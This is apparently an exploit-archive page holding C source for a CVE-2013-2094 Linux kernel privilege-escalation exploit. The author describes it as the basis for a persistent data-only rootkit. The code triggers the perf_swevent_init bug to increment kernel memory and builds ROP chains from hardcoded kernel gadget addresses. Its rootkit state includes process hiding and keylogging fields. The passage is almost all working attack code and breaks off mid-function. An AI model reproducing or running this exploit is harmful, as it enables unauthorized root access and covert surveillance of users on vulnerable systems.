Linux perf_swevent_init Privilege Escalation



EKU-ID: 3881 CVE: 2013-2094 OSVDB-ID:
Author: Sorbo Published: 2014-03-13 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
 *                 CVE-2013-2094
 *              ROP Exploit Version.
 *                      
 *      Used for a persistent data-only rootkit.
 *
 *      ROP CHUCK's REVENGE:
 *         -> Version 1.0 (December 2013)
 *         -> Tested on Ubuntu 13.04 Server Kernel 3.8.0-19-generic
 *         -> Exploit based on sorbo's (sorbo@darkircop.org) exploit.
 */

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <assert.h>
#include <stdarg.h>
#include <error.h>

#define PERF_SWEVENT_ENABLED  0xffffffff81ef31c0
#define LEAVE_RET             0xffffffff816cbc4f
#define SWAPGS                0xffffffff816cb9cb
#define INTERRUPT_HANDLER     0xffffffff816cb780
#define INTERRUPT             0xd
#define INTERRUPT_STRING      "0xd"

#define u64 unsigned long long
#define u32 unsigned long

// Struct for an IDT entry
struct idt {
    uint16_t limit;
    uint64_t addr;
} __attribute__((packed));

// Structs for patch entries
// This represents the area of the state
// that is available to the rootkit
#define GLOBAL_STATE_SIZE 1023*4096     // This is MAX for kmalloc!
#define PROCESS_STATE_SIZE 1*4096

// Global State of the rootkit
enum global_patch_type
{
    // The first parts of the state allows to save register values.
    // These values will be filled in by the copy chain. Essentially
    // the copy chain will store all register values such that they
    // can be restored later on. In addition, the rootkit can inspect
    // the original function arguments at any time.
    //
    // Notice that the register values within the global state are
    // moved to the process state, before execution continues. The
    // values within the global state are therefore only valid
    // temporarily.
    //
    // The registers are ordered in the sequence that they are stored
    // by the copy chain. DO NOT MOVE OR REORDER THE REGISTERS!
    //
    // Start the enum with one to distinguish global and process state.
    // Notice that this one is automatically substracted if it is a
    // global value.
    GLOBAL_RDX=1,                // Place to save RDX
    GLOBAL_RCX=GLOBAL_RDX+8,     // Place to save RCX
    GLOBAL_RBX=GLOBAL_RCX+8,     // Place to save RBX
    GLOBAL_RSI=GLOBAL_RBX+8,     // Place to save RSI
    GLOBAL_RDI=GLOBAL_RSI+8,     // Place to save RDI
    GLOBAL_RAX=GLOBAL_RDI+8,     // Place to save RAX
    GLOBAL_RBP=GLOBAL_RAX+8,     // Place to save RBP

    // Next follows state information used by the payload.
    GLOBAL_TMP=GLOBAL_RBP+8,     // Allows a function to temporarily store a value
    PID_PARSE=GLOBAL_TMP+8,      // The location where parsed PIDs are written to
    PID_INDEX=PID_PARSE+8,       // Current Index into the PID array
    PID_ARRAY=PID_INDEX+8,       // The array containing the hidden PIDs
   
    // The following array references each process state.
    CUR_STATE=PID_ARRAY+4096,    // A variable that can store a single state
                                 // pointer for the current process. Used by
                                 // the dispatcher.
    PROC_INDEX=CUR_STATE+8,      // The next free index within the process state
                                 // array
    PROC_STATE=PROC_INDEX+8,     // The array containing all processes and their
                                 // state.
};

// Used for verifying whether a valid global enum was given
const u32 global_patch_type_array[] = {
                                            GLOBAL_RDX, GLOBAL_RCX, GLOBAL_RBX,
                                            GLOBAL_RSI, GLOBAL_RDI, GLOBAL_RAX,
                                            GLOBAL_RBP, GLOBAL_TMP, PID_PARSE,
                                            PID_INDEX, PID_ARRAY, CUR_STATE,
                                            PROC_INDEX, PROC_STATE
                                      };

// Local state for each process.
enum process_patch_type
{
    // The first parts of the state allows to save register values.
    // These values will be filled in by the dispatcher chain..
    //
    // The registers are ordered in the sequence that they are stored
    // by the copy chain. DO NOT MOVE OR REORDER THE REGISTERS!
    RDX=0,                  // Place to save RDX
    RCX=RDX+8,              // Place to save RCX
    RBX=RCX+8,              // Place to save RBX
    RSI=RBX+8,              // Place to save RSI
    RDI=RSI+8,              // Place to save RDI
    RAX=RDI+8,              // Place to save RAX
    RBP=RAX+8,              // Place to save RBP

    // Next follows state information used by the payload.
    TMP=RBP+8,              // Allows a function to temporarily store a value
    COUNTER=TMP+8,          // Place to store a counter
    TMP_RAX=COUNTER+8,      // TMP value for RAX
    TMP_RDI=TMP_RAX+8,      // TMP value for RDI
    TMP_RSI=TMP_RDI+8,      // TMP value for RSI
    TMP_RDX=TMP_RSI+8,      // TMP value for RDX
    DEBUG=TMP_RDX+8,        // Debugging enabled?
    KEYLOG=DEBUG+8,         // Keylogging enabled?
    PAYLOAD=KEYLOG+8,       // Pointer to the current payload area
    COMMAND=PAYLOAD+8,      // Did we encounter a newline?
    BUFFER_INDEX=COMMAND+8, // Offset into buffer
    BUFFER=BUFFER_INDEX+8,  // The buffer that contains the current command
};

// Used for verifying whether a valid process enum was given.
const u32 process_patch_type_array[] = {
                                            RDX, RCX, RBX, RSI, RDI, RAX,
                                            RBP, TMP, COUNTER,
                                            TMP_RAX, TMP_RDI, TMP_RSI,
                                            TMP_RDX, DEBUG, KEYLOG, PAYLOAD,
                                            COMMAND, BUFFER_INDEX, BUFFER
                                       };
                                  
// Enum to specify wether an entry is global or process specific
enum patch_scope
{
    UNDEFINED=0,
    PROCESS,
    GLOBAL,
    ALL
};

// To provide easy access to the state, we make use of patch entries.
// Patch entries point to an entry within the state and are automatically
// resolved by the init chain, once the state area has been created.
struct patch_entry
{
    void *fake_stack_position;      // The address of the patch
                                    // within its fake stack
    u64 fake_stack_offset;          // The offset of the patch
                                    // within its fake stack
    u32 type;                       // The state field that the
                                    // patch entry points to.
    int type_offset;                // An additional offset that
                                    // is added to the state field
                                    // for the patch entry. This
                                    // can, for instance, be used
                                    // to directly access a field
                                    // within an array in the state,
    enum patch_scope scope;         // Is this a global patch entry
                                    // or a process specific patch
};

// Array for all patch entries. The size of the array is
// currently fixed for the sake of simplicity.
struct patch_entry patch_entries[1024];
u32 patch_entry_index = 0;

// Enum to specify a regitser
enum registers {
    REG_RAX,
    REG_RBX,
    REG_RCX,
    REG_RDX,
    REG_RSI,
    REG_RDI
};

// Subprocesses for arbitrary increments
pid_t children[1024];
u32 child_index = 0;
u32 *children_done = 0;
u32 *parent_done = 0;

// Pointers for all stacks that we use
// Size and offset of the init stack
#define INIT_STACK_SIZE 16*4096
#define INIT_STACK_OFFSET 4*4096

u32 init_stack_size = 0;
void *init_stack = 0;

// The copy stack
#define COPY_STACK_SIZE 1000*4096

u32 copy_stack_size = 0;
void *copy_stack = 0;
void *dispatcher_stack_patch = 0;
void *copy_stack_kernel = 0;

// The payload stack
#define PAYLOAD_STACK_SIZE 42*4096
u32 payload_stack_size = 0;
void *payload_stack = 0;

// The dispatcher stack
#define DISPACTHER_STACK_SIZE 100*4096
u32 dispatcher_stack_size = 0;
void *dispatcher_stack = 0;

// Just for fancy error handling.
// Not really important for the rootkit.
void error_print_program_name(void)
{
    return;
}

void (*error_print_progname)(void) = &error_print_program_name;

/**
 * Change the endianess of the given value.
 *
 * @param x The value to convert from big endian to little endian or vice versa.
 * @return The converted value.
 */
inline u64 swap(u64 x)
{
    u64 result = 0;
    result = (x>>56) |
             ((x<<40) & 0x00FF000000000000) |
             ((x<<24) & 0x0000FF0000000000) |
             ((x<<8)  & 0x000000FF00000000) |
             ((x>>8)  & 0x00000000FF000000) |
             ((x>>24) & 0x0000000000FF0000) |
             ((x>>40) & 0x000000000000FF00) |
             (x<<56);

    return result;
}

/**
 * Invoke perf_event_open with the given offset.
 *
 * This function can be used to increment an arbitrary memory address within
 * the kernel. To trigger the bug a negative offset must be provided.
 *
 * @param offset The negative offset of the memory address to be incremented
 *               from the perf_swevent_enabled array.
 * @return The return value of the perf_event_open system call.
 */
static int perf_open(u64 offset)
{
    struct perf_event_attr attr;

    memset(&attr, 0, sizeof(attr));

    attr.type           = PERF_TYPE_SOFTWARE;
    attr.size           = sizeof(attr);
    attr.config         = offset;
    attr.mmap           = 1;
    attr.comm           = 1;
    attr.exclude_kernel = 1;

    return syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
}

/**
 * Increment a given offset the given number of times.
 *
 * When a negative offset is provided to perf_open it will increment the
 * address at the given offset. Each increment requires an own file descriptor,
 * since closing a file descriptor will decrement the offset value. To set a
 * memory value to a specific address, we use increments (repeated calls to
 * perf_open) with the same offset. However, we may want to increment a offset
 * by more than the maximal number of file descriptors that a process can have.
 * To work around this restriction we fork other processes that will use their
 * file descriptors for the increment.
 *
 * @param nr The value that the offset should be incremented by.
 * @param steps The number of increments that will be done per process.
 *              This number must be below the max fd number for a process.
 * @param offset The offset to invoke perf_open with.
 */
static void increment(int nr, int steps, u64 offset)
{
    int i = 0;
    int tmp = 0;

    // Create shared memory for the children and the parent
    printf(" [+] Creating shared variables...\n");
    children_done = mmap(NULL, sizeof(*children_done), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    parent_done = mmap(NULL, sizeof(*parent_done), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

    if(!children_done || !parent_done)
    {
            error(-1, 0, " [!] Could not allocate shared variables!\n");
    }

    printf(" [+] Incrementing 0x%llx by %d (step size: %d)...", offset, nr, steps);

    // Fork till we have the desired number of increments.
    while (i < nr)
    {
            if((children[child_index] = fork()) == 0)
            {      
                    // Child
                    for(tmp = 0; tmp < steps; tmp++)
                            close(tmp);

                    for(tmp = i; tmp < i + steps && tmp < nr; tmp++)
                            perf_open(offset);

                    // Signal the parent that we are ready
                    (*children_done) += 1;

                    // Let the parent do its thing
                    // and wait till it finishes
                    while (1)
                    {
                            sleep(1);
                           
                            // Parent done yet?
                            if ((*parent_done) == 1)
                                    break;

                    }

                    exit(0);               
           
            }
            else
            {
                    // Parent
                    i += steps;
                    child_index += 1;
            }
    }
}

/**
 * Add a patch entry.
 *
 * Since our rootkit makes use of memory addresses that are not known
 * beforehand (because we dynamically allocated memory using kmalloc),
 * we need a way of specifing that a certain address must be replaced
 * during run-time. This is what patch entries are for. The patching
 * routine will replace each patch entry with the correct address
 * during run-time.
 *
 * @param fake_stack A pointer to the fake stack that a patch entry is on.
 * @param fake_stack_size The size of the fake stack.
 * @param type The type of the patch symbol.
 * @param type_offset The offset with the type of the symbol. If the type is
 *                    an array for instance, this value allows to specify the
 *                    the index.
 *
 */
static void add_patch_entry(void **fake_stack, u32 *fake_stack_size, u32 type,
                            int type_offset)
{
    u32 i = 0;
    enum patch_scope scope = UNDEFINED;
    u32 modified_type = 0;
   
    // Check size
    if (patch_entry_index >= 1024)
    {
        error(-1, 0, " [!] Too many patch entries !\n");
    }
   
    // Check type
    for (i = 0; i < sizeof(process_patch_type_array) / sizeof(u32); ++i)
    {
        if (process_patch_type_array[i] == type)
        {
            scope = PROCESS;
            modified_type = type;
        }
    }
   
    if (scope == UNDEFINED)
    {
        for (i = 0; i < sizeof(global_patch_type_array) / sizeof(u32); ++i)
        {
            if (global_patch_type_array[i] == type)
            {
                scope = GLOBAL;
                // Global patch types use a +1 offset to distinguish them from
                // process patch types. To account for this offset we have to
                // substract 1,
                modified_type = type - 1;
            }
        }
    }
   
    // Valid type?
    if (scope == UNDEFINED)
    {
        error(-1, 0, " [!] The value '%lu' does not correspond to a valid patch type!\n",
              type);
    }
   
    patch_entries[patch_entry_index].fake_stack_position = (*fake_stack);
    patch_entries[patch_entry_index].fake_stack_offset = (*fake_stack_size);
    patch_entries[patch_entry_index].type = modified_type;
    patch_entries[patch_entry_index].type_offset = type_offset;
    patch_entries[patch_entry_index].scope = scope;
    patch_entry_index++;
}

/**
 * Update an existing patch entry.
 *
 * The function will search the existing patch entries for an entry that
 * matches the given position. If such an entry exists, the
 * 'fake_stack_offset' field of the entry is updated to given offset.
 *
 * @param position The position of the patch entry. This is the key that
 *                 we search for.
 * @param new_position The new postion of the patch entry.
 * @param new_fake_stack_offset The new offset value that will be set
 *                              within the patch entry if it is found.
 */
static void update_patch_entry(void *position, void *new_position, u32 new_fake_stack_offset)
{
    u32 i = 0;

    for (i = 0; i < patch_entry_index; ++i)
    {
            if (patch_entries[i].fake_stack_position == position)
            {
                    patch_entries[i].fake_stack_position = new_position;
                    patch_entries[i].fake_stack_offset = new_fake_stack_offset;
                    return;
            }
    }
}

/**
 * Add an address/value to our fake stack
 *
 * This function will add the given value to the given stack and
 * increase the stack size accordingly.
 *
 * @param value The value to add to the stack.
 * @param fake_stack The fake stack the value should be added to.
 * @param fake_stack_size A pointer to the size of the fake stack.
 *                        It will be increased by 8 bytes.
 *
 * @returns The fake stack pointer increased by 8 bytes.
 */
static void * add_to_fake_stack(u64 value, void **fake_stack, u32 *fake_stack_size)
{
    u64 *stackp = (u64 *) (*fake_stack);

    // Simple bound checking to avoid bugs.
    if (((*fake_stack) == init_stack &&
        init_stack_size >= INIT_STACK_SIZE) ||
        ((*fake_stack) == copy_stack &&
        copy_stack_size >= COPY_STACK_SIZE) ||
        ((*fake_stack) == payload_stack &&
        payload_stack_size >= PAYLOAD_STACK_SIZE) ||
        ((*fake_stack) == dispatcher_stack &&
        dispatcher_stack_size >= DISPACTHER_STACK_SIZE))
    {
            error(-1, 0, " [!] Fake stack out of bounds! (init: %lu, copy: %lu, "
                           "payload: %lu, disptacher: %lu)\n", init_stack_size,
                           copy_stack_size, payload_stack_size, dispatcher_stack_size);
    }

    (*stackp) = value;
    (*fake_stack) += sizeof(u64);
    (*fake_stack_size) += sizeof(u64);

    return (void *)stackp;
}

/**
 * Generate a sequence that pops a value into the given register.
 *
 * This function will generate a gadget that pops the next value
 * on the stack into the given register.
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param reg The register that the value should be popped into.
 */
static void generate_pop(void **fake_stack, u32 *fake_stack_size,
                     enum registers reg)
{
    // Register
    switch (reg)
    {
        case REG_RAX:
                // POP RAX; RET
                add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);
                break;
        case REG_RBX:
                // POP RBX; RET
                add_to_fake_stack(0xffffffff812ca859, fake_stack, fake_stack_size);
                break; 
        case REG_RCX:
                // POP RCX; RET
                add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);    
                break;
        case REG_RDX:
                // POP RDX; RET
                add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);
                break;
        case REG_RSI:
                // POP RSI; RET
                add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);    
                break;         
        case REG_RDI:
                // POP RDI; RET
                add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);    
                break;
        default:
                error(-1, 0, " [!] Cannot generate pop gadget!\n"
                             " [!] Unsupported register (%d)\n", reg);
    }  
}

/**
 * Generate a safe push seqeunce that does not overwrite existing
 * gadgets.
 *
 * This function will generate a gadget sequence that can be
 * followed by a PUSH gadget without overwriting a valid part
 * of the chain.
 *
 * IMPORTANT: This function will NOT remove the pushed value. It
 * is up to the gadget that is conducting the PUSH to remove the
 * pushed value.
 *
 * This function uses RDI.
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param push_gadget The gadget containing the push that should be
 *                    executed.
 */
static void generate_safe_push(void **fake_stack, u32 *fake_stack_size,
                               u64 push_gadget)
{
    // The gadget that we use, contains a JMP RDI. Thus setup RDI first.
    generate_pop(fake_stack, fake_stack_size, REG_RDI);
    add_to_fake_stack(push_gadget, fake_stack, fake_stack_size);
   
    // Increment stack pointer
    add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size);     // ADD RSP, 0x18; JMP RDI;
   
    // Padding
    add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size);     // This value will not be used
    add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size);     // This value will not be used
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the push
}

/**
 * Generate a move to RAX gadget sequence.
 *
 * This sequence will move the value in the given register into RAX. In case
 * the register is RBX, the function will clobber RDI.
 *
 * This function is stack safe. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param reg The register whose value should be moved to RAX.
 */
static void generate_move_to_rax(void **fake_stack, u32 *fake_stack_size,
                               enum registers reg)
{
     // Register
    switch (reg)
    {
        case REG_RAX:
                // Nothing to do in this case...
                break;
        case REG_RBX:
                // RBX is a little more involved as there is no MOV RAX; RBX; RET
                // gadget. We solve this by moving RBX to RDI first. The gadget
                // use a call RAX. Thus setup RAX first.
                generate_pop(fake_stack, fake_stack_size, REG_RAX);
                // The call will simply pop a value from the stack.
                generate_pop(fake_stack, fake_stack_size, REG_RAX);
               
                // MOV RDI, RBX; CALL RAX;
                generate_safe_push(fake_stack, fake_stack_size, 0xffffffff81024436);
               
                // MOV RAX, RDI; RET
                add_to_fake_stack(0xffffffff81005614, fake_stack, fake_stack_size);
                break; 
        case REG_RCX:
                // MOV RAX, RCX; RET
                add_to_fake_stack(0xffffffff811640b4, fake_stack, fake_stack_size);    
                break;
        case REG_RDX:
                // MOV RAX, RDX; RET
                add_to_fake_stack(0xffffffff8105fae5, fake_stack, fake_stack_size);
                break;
        case REG_RSI:
                // MOV RAX, RSI; RET
                add_to_fake_stack(0xffffffff8113ab81, fake_stack, fake_stack_size);    
                break;         
        case REG_RDI:
                // MOV RAX, RDI; RET
                add_to_fake_stack(0xffffffff81005614, fake_stack, fake_stack_size);    
                break;
        default:
                error(-1, 0, " [!] Cannot generate move to RAX gadget!\n"
                             " [!] Unsupported register (%d)\n", reg);
    }
}

// Internal helper to provide stack safe and unsafe moves.
static void _generate_move_from_rax_helper(void **fake_stack, u32 *fake_stack_size,
                                          enum registers reg, char stack_safe)
{
    // If the target register is RAX we are done.
    if (reg == REG_RAX)
        return;
   
    // The basic idea of this gadget is to write the value
    // within RAX onto the stack, such that we can then simply
    // pop the value into the desired register.
    // Lets go.
   
    // Should we keep the stack safe?
    if (stack_safe)
    {
        // First we make some room on the stack to ensure that we do not overwrite
        // parts of the chain.
        // The gadget that we use, contains a JMP RDI. Thus setup RDI first.
        generate_pop(fake_stack, fake_stack_size, REG_RDI);
    }
   
    // Write the value in RAX to our stack.
    // We will place an ADD RSP, 0x10 gadget into RDX later on!
    add_to_fake_stack(0xffffffff812c45f2, fake_stack, fake_stack_size);     // MOV [RSP+0x10], RAX;
                                                                            // MOV RDX, [RSP+0x30];
                                                                            // CALL RDX;
    // Should we keep the stack safe?
    if (stack_safe)
    {
        // Increment stack pointer
        add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size);     // ADD RSP, 0x18; JMP RDI;
       
        // Padding
        add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size);     // This value will not be used
        add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size);     // This value will not be used
        add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                                // by the CALL RDX
    }

    // Padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding

    // Alright, here goes the register we want the value to be in.
    generate_pop(fake_stack, fake_stack_size, reg);

    // This value will be overwritten by the inital move and will thus
    // be popped into the specified register
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // Will be overwritten

    // Now we fix the stack by incremting the stack pointer
    add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size);     // ADD RSP, 0x10; RET;

    // Padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding
 
    // This value also ends up in RDX. It just increases the stack by
    // 0x10 bytes
    add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size);     // ADD RSP, 0x10; RET;

    // Padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding
}

/**
 * Add a move from RAX gadget sequence.
 *
 * This sequence will move the value in RAX to one of the supported
 * registers (RBX, RCX, RDX, RSI, RDI).
 * The sequence uses RDI, RDX and RAX. However, it is possible to load
 * the value of RAX into RDX or RDI using the sequence.
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param reg The destination register. This register will we set to the
 *            current value of RAX.
 */
static void generate_move_from_rax(void **fake_stack, u32 *fake_stack_size,
                                   enum registers reg)
{
        // Keep the stack safe
        _generate_move_from_rax_helper(fake_stack, fake_stack_size, reg, 1);
}

/**
 * Add a move from RAX gadget sequence.
 *
 * This sequence will move the value in RAX to one of the supported
 * registers (RBX, RCX, RDX, RSI, RDI).
 * The sequence uses RDX and RAX. However, it is possible to load
 * the value of RAX into RDX using the sequence.
 *
 * IMPORTANT: This function is NOT stack safe! That is, the funtion
 *            may overwrite old gadgets on the stack! However it
 *            only uses RAX and RDX.
 *
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param reg The destination register. This register will we set to the
 *            current value of RAX.
 */
static void generate_move_from_rax_unsafe(void **fake_stack, u32 *fake_stack_size,
                                          enum registers reg)
{
        // Keep the stack safe
        _generate_move_from_rax_helper(fake_stack, fake_stack_size, reg, 0);
}


/**
 * Add the given value to the given register.
 *
 * This sequence will add a value to a given register. It uses the
 * registers RAX, RDX and RDI to do so.
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param value The value that should be added.
 * @param reg The register that the value should be added to.
 */
static void generate_add_value(void **fake_stack, u32 *fake_stack_size,
                           u64 value, enum registers reg)
{
    // We conduct the add by:
    //    1. Moving the value within the register we want to add to
    //       into RAX.
    //    2. Adding the value to RAX
    //    3. Moving the result back to the target register.
   
    // Move to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, reg);
   
    // POP the value into RDX
    generate_pop(fake_stack, fake_stack_size, REG_RDX);
    // The value
    add_to_fake_stack(value, fake_stack, fake_stack_size);
   
    // Add to RAX using RDX
    add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size);     // ADD RAX, RDX; RET
   
    // Move the result back.
    generate_move_from_rax(fake_stack, fake_stack_size, reg);
   
}

/**
 * Add the given value to the given register.
 *
 * This sequence will add a value to a given register. It uses the
 * registers RAX, RDX and in the case that RBX is the destination
 * register also RDI to do so.
 *
 * IMPORTANT: This sequence will overwrite previously executed
 *            gadgets on the stack. That is, this function is
 *            NOT stack safe!
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param value The value that should be added.
 * @param reg The register that the value should be added to.
 */
static void generate_add_value_unsafe(void **fake_stack, u32 *fake_stack_size,
                                      u64 value, enum registers reg)
{
    // We conduct the add by:
    //    1. Moving the value within the register we want to add to
    //       into RAX.
    //    2. Adding the value to RAX
    //    3. Moving the result back to the target register.
   
    // Move to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, reg);
   
    // POP the value into RDX
    generate_pop(fake_stack, fake_stack_size, REG_RDX);
    // The value
    add_to_fake_stack(value, fake_stack, fake_stack_size);
   
    // Add to RAX using RDX
    add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size);     // ADD RAX, RDX; RET
   
    // Move the result back.
    generate_move_from_rax_unsafe(fake_stack, fake_stack_size, reg);
   
}


/**
 * Substract the given value from the given register.
 *
 * This sequence will substract a value from a given register. It uses
 * the registers RAX, RDX, and RDI to do so.
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param value The value that should be substracted.
 * @param reg The register that the value should be substracted from.
 */
static void generate_substract_value(void **fake_stack, u32 *fake_stack_size,
                                     u64 value, enum registers reg)
{
    // We conduct the add by:
    //    1. Moving the value within the register we want to add to
    //       into RAX.
    //    2. Substracting the value from RAX
    //    3. Moving the result back to the target register.
   
    // Move to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, reg);
   
    // POP the value into RDX
    generate_pop(fake_stack, fake_stack_size, REG_RDX);
    // The value
    add_to_fake_stack(value, fake_stack, fake_stack_size);
   
    // Substract RDX from RAX
    add_to_fake_stack(0xffffffff81079357, fake_stack, fake_stack_size);     // SUB RAX, RDX; RET
   
    // Move the result back.
    generate_move_from_rax(fake_stack, fake_stack_size, reg);
   
}

/**
 * Add a stack increment gadget sequence.
 *
 * This function will generate a gadget sequence that
 * will increase the SP by the given amount.
 * The sequence uses RDX, RDI, RBP, and RAX.
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param amount The amount the stack pointer should be increased.
 */
static void generate_stack_increment(void **fake_stack, u32 *fake_stack_size,
                                     u64 amount)
{
    // We need variables to patch the size used within the gadget.
    u32 current_size = 0;
    void *location = 0;
    u32 location_size = 0;
   
    // At this point we need to get the current stack pointer. We use
    // a PUSH RSP gadget for this purpose, but want to avoid overwrites
    // due to the push.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;

    // The SP points here! Safe this location to calculate the correct
    // offset at the end.
    current_size = (*fake_stack_size);
   
    // Move RAX to RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Add the size of this sequence to the amount that the SP should
    // be increased by. Since the size of the sequence is unknown at
    // this point, we will overwrite this gadget at the end of the
    // function with the correct size!
    // For the latter we first save the address and the size
    location = (*fake_stack);
    generate_add_value(fake_stack, fake_stack_size, amount + 0, REG_RAX);

    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET;

    // LEAVE RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
   
    // Overwrite the add sequence. Account for POP RBP! => - 0x8
    generate_add_value(&location, &location_size,
                       amount + (*fake_stack_size) - current_size - 0x8,
                       REG_RAX);
}

/**
 * Add a stack decrement gadget sequence.
 *
 * This function will generate a gadget sequence that
 * will decrease the SP by the given amount.
 * The sequence uses RDX, RDI, RBP, and RAX.
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param amount The amount the stack pointer should be decreased.
 */
static void generate_stack_decrement(void **fake_stack, u32 *fake_stack_size,
                                     u64 amount)
{
    // We need variables to patch the size used within the gadget.
    u32 current_size = (*fake_stack_size);
    u32 location_size = 0;
   
    // At this point we need to get the current stack pointer. We use
    // a PUSH RSP gadget for this purpose, but want to avoid overwrites
    // due to the push.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;
   
    // Get the size of the last gadget, which we need to get the correct
    // size for the stack fix
    location_size = (*fake_stack_size) - current_size;

    // Move RAX to RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Add the size of the first gadget to the amount that the SP should
    // be decreased by. Notice that the size of the gadget sequence
    // is unimportant in this case as the stack should be decreased
    // at the point this sequence is executed. This means we only have
    // to account for the first gadget sequence, which obtains the SP
    // and is location_size bytes long.
    // Thus we actually should substract amount + location_size. However,
    // we use LEAVE; RET for the stack switch. Since LEAVE pops a value
    // from the stack, we have to substract amount + location_size + 8!
    generate_substract_value(fake_stack, fake_stack_size,
                             amount + location_size + 8, REG_RAX);

    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET;    

    // LEAVE RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
}

/**
 * Set a VALUE in the state area from the given register.
 *
 * This sequence will move the VALUE within the given register
 * (RAX, RBX, RCX, RDX, RSI, RDI) into the given state field.
 * The sequence uses RSI, RDI and RAX. However, it is possible
 * to store the value in one of those registers.
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param type The entry within the state that should be written to.
 * @param reg The register that contains the value to be written.
 */
static void generate_set_state_value(void **fake_stack, u32 *fake_stack_size,
                                     u32 type, enum registers reg)
{

    // Move the VALUE within the given register to RAX
    generate_move_to_rax(fake_stack, fake_stack_size, reg);
   
    // Move the state value into RSI
    generate_pop(fake_stack, fake_stack_size, REG_RSI);                     // POP RSI, RET;
    add_patch_entry(fake_stack, fake_stack_size, type, 0);                  // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // for the given type,
                                                                            // must be overwritten by init

    // MOVE RAX to RSI
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX;
                                                                            // XOR EAX,EAX;
                                                                            // RET
}

// Internal helper to provide stack safe and unsafe versions of the
// get state value sequence.
static void _generate_get_state_value_helper(void **fake_stack, u32 *fake_stack_size,
                                             u32 type, enum registers reg, char stack_safe)
{

    // Load the VALUE into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                     // POP RAX, RET;
    add_patch_entry(fake_stack, fake_stack_size, type, 0);                  // Create a patch entry
